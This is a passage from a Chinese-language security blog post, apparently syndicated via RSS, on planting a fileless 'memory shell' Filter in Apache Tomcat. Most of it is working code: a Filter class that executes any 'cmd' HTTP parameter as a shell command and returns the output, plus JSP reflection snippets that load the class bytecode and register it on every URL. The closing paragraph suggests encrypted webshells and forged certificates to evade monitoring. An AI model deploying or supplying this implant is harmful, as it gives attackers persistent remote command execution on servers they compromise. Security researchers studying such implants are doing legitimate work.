class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {</span></code><code><span class="code-snippet_outer">        HttpServletRequest req = (HttpServletRequest) request;</span></code><code><span class="code-snippet_outer">        HttpServletResponse resp = (HttpServletResponse) response;</span></code><code><span class="code-snippet_outer">if (req.getParameter(&#34;cmd&#34;) != null) {</span></code><code><span class="code-snippet_outer">boolean isLinux = true;</span></code><code><span class="code-snippet_outer">String osTyp = System.getProperty(&#34;os.name&#34;);</span></code><code><span class="code-snippet_outer">if (osTyp != null &amp;&amp; osTyp.toLowerCase().contains(&#34;win&#34;)) {</span></code><code><span class="code-snippet_outer">                isLinux = false;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">String[] cmds = isLinux ? new String[]{&#34;sh&#34;, &#34;-c&#34;, req.getParameter(&#34;cmd&#34;)} : new String[]{&#34;cmd.exe&#34;, &#34;/c&#34;, req.getParameter(&#34;cmd&#34;)};</span></code><code><span class="code-snippet_outer">            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();</span></code><code><span class="code-snippet_outer">            Scanner s = new Scanner(in).useDelimiter(&#34;\\A&#34;);</span></code><code><span class="code-snippet_outer">String output = s.hasNext() ? s.next() : &#34;&#34;;</span></code><code><span class="code-snippet_outer">            resp.getWriter().write(output);</span></code><code><span class="code-snippet_outer">            resp.getWriter().flush();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        filterChain.doFilter(request, response);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public void destroy() {</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public static void main(String[] args) throws IOException {</span></code><code><span class="code-snippet_outer">        InputStream in = FilterShell.class.getClassLoader().getResourceAsStream(&#34;FilterShell.class&#34;);</span></code><code><span class="code-snippet_outer">        byte[] bytes = new byte[in.available()];</span></code><code><span class="code-snippet_outer">in.read(bytes);</span></code><code><span class="code-snippet_outer">        System.out.println(java.util.Base64.getEncoder().encodeToString(bytes));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">2.注入恶意Filter类</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  获取ClassLoader实例，并通过反射得到<span style="font-size: 15px;font-family: Calibri;">ClassLoader</span>类的<span style="font-size: 15px;font-family: Calibri;">defineClass()</span>方法，将传入的恶意<span style="font-size: 15px;font-family: Calibri;">Filter</span>类字节码，转化为<span style="font-size: 15px;font-family: Calibri;">Class</span>注入至目标环境</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="119" data-backw="554" data-ratio="0.2148014440433213" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=2be5b78d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF10XGkszsapKoWqhGR0WfZUywgtszv5QywwW7HNaHn4LPz2wicufJVicmQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图17  java.lang.ClassLoader#defineClass()</span></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">//  获取当前ClassLoader</span></code><code><span class="code-snippet_outer">java.lang.ClassLoader classLoader = (java.lang.ClassLoader) Thread.currentThread().getContextClassLoader();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">// 由于defineClass方法的权限修饰符并非public，需通过反射得到</span></code><code><span class="code-snippet_outer">java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod(&#34;defineClass&#34;, byte[].class, int.class, int.class);</span></code><code><span class="code-snippet_outer">defineClass.setAccessible(true);</span></code><code><span class="code-snippet_outer">String evil_base64 = “恶意Filter类的base64编码”;</span></code><code><span class="code-snippet_outer">byte[] evil_bytes = java.util.Base64.getDecoder().decode(evil_base64);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">// 加载字节码，注入恶意Filter类</span></code><code><span class="code-snippet_outer">defineClass.invoke(classLoader, evil_bytes, 0, evil_bytes.length);</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p style="line-height: 150%;"><span style="font-size: 15px;"><br/></span></p><p style="margin-left: 0;text-indent: 0;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">3.获取StandardContext实例</span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="31" data-source-title="https://zhuanlan.zhihu.com/p/114625962"><section class="js_blockquote_digest"><section><span style="font-size: 15px;"><span style="font-family: 宋体;"><span style="font-family: 宋体;">借鉴于Litch1前辈</span>《</span><span style="font-family: Calibri;">Tomcat</span><span style="font-family: 宋体;">的一种通用回显方法研究》</span></span></section></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A19%2C%22text%22%3A%22%E3%80%8ATomcat%E7%9A%84%E4%B8%80%E7%A7%8D%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E6%96%B9%E6%B3%95%E7%A0%94%E7%A9%B6%E3%80%8B%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fzhuanlan.zhihu.com%2Fp%2F114625962%22%7D"><span class="blockquote_other"><a href="https://zhuanlan.zhihu.com/p/114625962" target="_blank">https://zhuanlan.zhihu.com/p/114625962</a></span></section></blockquote><p style="line-height: 150%;"><span style="font-size: 15px;font-family: Calibri;"> <br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="48" data-backw="554" data-ratio="0.08664259927797834" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=282fd1d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1iaTES9laI4aYXBW2Rh3vZgG8vKyN4mF7xggrDRuw1icvPrpKFcR6O6ew%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图18  StandardContext实例存储位置信息</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code><span class="code-snippet_outer">org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();</span></code><code><span class="code-snippet_outer">org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();</span></code><code><span class="code-snippet_outer">org.apache.catalina.core.StandardContext standardContext = standardroot.getContext();</span></code></pre></section><p style="line-height: 150%;"><br/></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">4.向filterMaps添加<span style="font-size: 15px;font-family: Calibri;">url</span>映射关系</span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="221" data-backw="554" data-ratio="0.3989169675090253" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=60acf323&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1JE5cOCkCYnULX4S1UfhA5Pmh4hvmzNaD6Sdfn65jmocHgWUcsmk7dg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图19  StandardContext#addFilterMap及<span style="font-size: 15px;font-family: Calibri;">addFilterDef</span>方法</span><br/></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;color: rgb(47, 47, 47);"> </span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  在standardContext类中已提供<span style="font-size: 15px;font-family: Calibri;">addFilterMap</span>方法，同时关注到<span style="font-size: 15px;font-family: Calibri;">this.validateFilterMap()</span>方法，跟进查看</span></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="213" data-backw="553" data-ratio="0.38517179023508136" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=5fbe6418&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1O7qmjnVKbHTiaVkKZEJO2azUzicHxqr5SVxbmbtnburhlmrjQUeib0XNg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图20  validateFilterMap()方法细节</span><br/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: Calibri;font-size: 15px;color: rgb(47, 47, 47);"> </span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">  <span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">该方法会在当前standardContext实例中的<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterDefs</span>检查是否存在所添加的<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterName</span>，因此我们需先往<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">standardContext.filterDefs</span>中添加我们的<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterDef</span>，<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">standardContext</span>类提供了<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">addFilterDef</span>方法可供调用。</span></span></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">// 添加filterDef，先前已注入恶意Filter类，可调用Class.forName()获取</span></code><code><span class="code-snippet_outer">javax.servlet.Filter filterShell = (javax.servlet.Filter) Class.forName(&#34;FilterShell&#34;).newInstance();</span></code><code><span class="code-snippet_outer">org.apache.tomcat.util.descriptor.web.FilterDef filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef();</span></code><code><span class="code-snippet_outer">filterDef.setFilterName(&#34;Filtershell&#34;);//可自行命名</span></code><code><span class="code-snippet_outer">filterDef.setFilter(filterShell);</span></code><code><span class="code-snippet_outer">standardContext.addFilterDef(filterDef);</span></code><code><span class="code-snippet_outer">standardContext.addFilterMap(filterMap);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">// 实例化filterMap，filterMap#setFilterName()和filterMap#addURLPattern()都是public方法</span></code><code><span class="code-snippet_outer">org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();</span></code><code><span class="code-snippet_outer">filterMap.setFilterName(&#34;Filtershell&#34;);</span></code><code><span class="code-snippet_outer">filterMap.addURLPattern(&#34;/*&#34;);</span></code></pre></section><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="420" data-backw="553" data-ratio="0.759493670886076" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=12418ae1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1TDibNAfCWicxZGldU7w5iaT8Xwqtu9QTTibrCNiaL8GFKD3AOkxIkNYAQwQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图21  FilterMap#setFilterName及<span style="font-size: 15px;font-family: Calibri;">addURLPattern</span>方法</span><br/></p><p style="line-height: 150%;"><span style="font-family: Consolas;line-height: 150%;color: rgb(36, 41, 46);letter-spacing: 0px;background: rgb(255, 255, 255);font-size: 15px;"> </span></p><p style="line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">5.<span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">实例化ApplicationFilterConfig，向<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">filterConfigs</span>添加<span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">&lt;String, ApplicationFilterConfig&gt;</span></span></span></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="221" data-backw="553" data-ratio="0.3996383363471971" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=d1d401a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1C6F6htHZict0CPufLiaQaq4F9VSVdibbjCdZ5KUcuicZtDc2mMNRYCWj1A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;">图22  ApplicationFilterConfig类</span></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="86" data-backw="554" data-ratio="0.1552346570397112" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=f6d65fb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1VWvG8LAoymPwVQN7EGYuzL8efPHR1ric9KTEHeFe2t9ibNFfgcYJ6hIA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图23  filterConfigs变量</span></p><p style="text-align: left;line-height: 150%;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">// 反射获取filterConfigs </span></code><code><span class="code-snippet_outer">java.lang.reflect.Field filterConfigsF = standardContext.getClass().getDeclaredField(&#34;filterConfigs&#34;);</span></code><code><span class="code-snippet_outer">filterConfigsF.setAccessible(true);</span></code><code><span class="code-snippet_outer">java.util.Map filterConfigs = (java.util.Map) filterConfigsF.get(standardContext);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">// 由于ApplicationFilterConfig经Final修饰，且构造方法为静态方法，无法通过new实例化，需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs</span></code><code><span class="code-snippet_outer">java.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructors()[0];</span></code><code><span class="code-snippet_outer">constructor.setAccessible(true);</span></code><code><span class="code-snippet_outer">filterConfigs.put(&#34;Filtershell&#34;, constructor.newInstance(standardContext, filterDef));</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="margin-left: 0;text-indent: 0;line-height: 150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">6.注入完成后，验证Filter内存马</span></p><p style="line-height: 150%;"><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="171" data-backw="492" data-ratio="0.3475609756097561" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="492" src="https://wechat2rss.xlab.app/img-proxy/?k=0f507a89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1VIxmYAlB4deLKNF73bUYELREoyTynFibbwIYfNskmWZJECugtCS1mvg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;line-height:150%;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图24  whoami命令</span></p><p><span style="font-family: Calibri;font-size: 15px;"> </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="584" data-backw="554" data-ratio="1.0541516245487366" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=1cc5cd49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1qE5TpbLkpeQ3q7yOfpjNgH0dYD1du4na7kXJssq3IFb5ictkdztutpQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:center;"><span style="font-family: 宋体;font-size: 15px;color: rgb(47, 47, 47);">图25  netstat命令</span></p><p><span style="font-family: Calibri;font-size: 15px;"> </span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 15px;"><br/></span></p><p><strong><span style="font-family: 宋体;font-size: 15px;">末言：</span></strong><span style="font-family: 宋体;font-size: 15px;">  </span></p><p><span style="color: rgb(47, 47, 47);font-size: 15px;font-family: 宋体;">  </span><span style="color: rgb(47, 47, 47);"><span style="color: rgb(47, 47, 47);font-size: 15px;font-family: 宋体;">以上<span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">获取</span><span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">StandardContext</span><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">实例的方法不适用于Tomcat7</span><span style="font-size: 15px;font-family: 宋体;letter-spacing: 1px;">。</span></span><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">利用反序化漏洞、代码执行漏洞、文件上传漏洞，完成</span><span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">Filter</span><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">内存马的注入后，可结合其他攻击手法如采用冰蝎的</span><span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">AES</span><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">动态加密</span><span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">Webshell</span><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">、使用伪造的</span><span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">HTTPS</span><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">证书进行流量加密或自定义编解码方式，进而达到流量混淆规避监测等效果。然一法通，万剑归宗，在设计理念和架构思想较为统一的情况下，可利用该思路扩展</span><span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">Tomcat</span><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">容器甚至其他</span><span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">Web</span><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">容器、框架的攻防方法。以上行文，难免存在谬误，后续将逐渐完善，整合和分析更多的</span><span style="font-size: 15px;letter-spacing: 1px;font-family: Calibri;">Tomcat容器</span><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;">攻防方式。</span></span></p><p><span style="font-family: 宋体;font-size: 15px;"> </span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 15px;"><strong><span style="font-size: 15px;font-family: 宋体;color: rgb(0, 0, 0);"></span></strong></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="434" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="434" data-ratio="0.75" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f95d203b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1Z7fSwvhr8GWv8xBjvGxkel8ERZZicHXjZ93G91So1PZfnUic5aV0iaueQ%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247483745">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4326f951&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NDE4MTI2MQ%3D%3D%26mid%3D2247483745%26idx%3D1%26sn%3D2eee1ad5d99ca62aaf9b714b2889d16d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 15 Nov 2020 01:21:00 +0800</pubDate>
    </item>
  </channel>
</rss>